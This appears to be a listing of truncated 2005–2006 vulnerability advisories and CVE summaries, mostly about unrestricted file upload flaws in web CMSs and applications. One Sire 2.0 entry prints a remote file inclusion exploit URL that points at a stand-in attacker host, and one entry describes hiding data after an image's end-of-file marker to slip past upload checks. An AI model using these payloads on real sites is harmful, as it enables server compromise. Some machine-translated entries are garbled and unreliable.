CVE-2006-5016

Unrestricted file upload vulnerability in admin/ximage.php in Szava Gyula and Csaba Tamas e-Vision CMS, probably 1.0, allows remote attackers to upload arbitrary files to the /imagebank directory...

CVE-2006-4875

Unrestricted file upload vulnerability in modules/galleryuploadfunction.php in Jupiter CMS allows remote attackers to upload picture files, and possibly files with arbitrary extensions, to gallery/albums/public...

CVE-2006-4859

Unrestricted file upload vulnerability in contact.html.php in the Contact comcontact component in Limbo aka Lite Mambo CMS 1.0.4.2L and earlier allows remote attackers to upload PHP code to the images/contact folder via a filename with a double extension in the contactattach parameter in a contac...

CVE-2006-4675

The CVE-2006-4675 entry corresponds to an Unrestricted file upload vulnerability in DokuWiki (lib/exe/media.php) prior to 2006-03-09c, allowing remote attackers to upload executable files into the data/media folder via unspecified vectors. Several connected sources (NVD, OSV, Gentoo GLSA, FreeBSD...

CVE-2006-4617

Unrestricted file upload vulnerability in fileupload.html in vtiger CRM 4.2.4, and possibly earlier versions, allows remote attackers to upload and execute arbitrary files with executable extensions in the /cashe/mails folder...

CVE-2006-4111

Ruby on Rails before 1.1.5 allows remote attackers to execute Ruby code with "severe" or "serious" impact via a File Upload request with an HTTP header that modifies the LOADPATH variable, a different vulnerability than CVE-2006-4112...

Moderate: Red Hat Security Advisory: php security update for Stronghold

An updated version of PHP that addresses several security issues is now available for Stronghold 4.0 for Enterprise Linux. This update has been rated as having moderate security impact by the Red Hat Security Response Team. PHP is an HTML-embedded scripting language. Several security issues were...

CVE-2006-2695

The CVE-2006-2695 entry concerns DGNews 1.5 and earlier, where the file admin/upprocess.php allows remote code execution by uploading scripts with arbitrary extensions into the img directory. The vulnerability stems from improper handling of uploaded files, enabling an attacker to run arbitrary c...

CVE-2006-2530

CVE-2006-2530 affects Avatar MOD 1.3 for Snitz Forums 3.4 (and possibly other versions). The issue arises in avatar_upload.asp where remote attackers can bypass file type checks and upload arbitrary files by inserting a null byte in the file name. This constitutes an input validation bypass in th...

Design/Logic Flaw

The ActiveX version of FrontRange iHEAT allows remote authenticated users to run arbitrary programs or access arbitrary files on the host machine by uploading a file with an extension that is not associated with an application, and selecting a file from the "Open With..." dialog...

How in does not support the Upload file to the forum file upload-vulnerability warning-the black bar safety net

How in the does not support file upload Forum, Upload File To achieve this goal, there is a prerequisite for this forum to be able to upload pictures. Commonly used Picture format is generally as JPEG, this format is FFD9 as the end-of-file Mark, as to which after the Deposit of anything on the...

Sire 2.0 (lire.php) Remote File Inclusion/Arbitary File Upload Vulnerability

Exploit for unknown platform in category web applications ============================================================================ Sire 2.0 lire.php Remote File Inclusion/Arbitary File Upload Vulnerability ============================================================================ +File...

Sire 2.0 - '/lire.php' Remote File Inclusion / Arbitrary File Upload

+File Inclusion: Input passed to the "rub" parameter in "lire.php" isn't properly verified, before it is used to include remote files Successful exploitation requires that "registerglobals" is enabled. lire.php code +Exploit: Exploit http://trajet/lire.php?rub=http://attacker&cahier=1&art=1...

CVE-2006-1485

Greymatter 1.3.1 is affected by CVE-2006-1485 due to gm-upload.cgi , which allows remote authenticated users with upload privileges to execute arbitrary programs by uploading files under the web root. The description notes that provenance is unknown and information comes from third parties. No ve...

CVE-2006-1371

CVE-2006-1371 affects XHP CMS

NSAG-196-23.02.2006.txt

Advisory: NSAG-¹196-23.02.2006 Research: NSA Group Russian company on Audit of safety & Network security Site of Research: http://www.nsag.ru or http://www.nsag.org Product: FCKeditor 2.2 Site of manufacturer: http://www.fckeditor.net The status: 19/11/2005 - Publication is postponed. 19/11/2005 ...

CVE-2006-0332

CVE-2006-0332 affects Pantomime in Ecartis 1.0.0 snapshot 20050909. The vulnerability arises because e-mail attachments are stored in a publicly accessible directory, which may allow remote attackers to upload arbitrary files. The available documents identify the affected product/version and the ...

[eVuln] MyPhPim Arbitrary File Upload

New eVuln Advisory: MyPhPim Arbitrary File Upload --------------------Summary---------------- Software: MyPhPim Sowtware's Web Site: http://sourceforge.net/projects/myphpim/ Versions: 01.05 Critical Level: Moderate Type: File Upload Class: Remote Status: Unpatched Exploit: Available Solution: Not...

CVE-2006-0169

The vulnerability CVE-2006-0169 affects MyPhPim 01.05 (addresses.php3) where uploaded files are not restricted. This allows remote attackers to execute arbitrary PHP code via the pdbfile parameter and then directly access those files from the uploads directory, due to improper validation of uploa...

CVE-2005-4422

Unrestricted file upload vulnerability in toendaCMS before 0.6.2 Stable allows remote authenticated administrators to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in data/images/albums...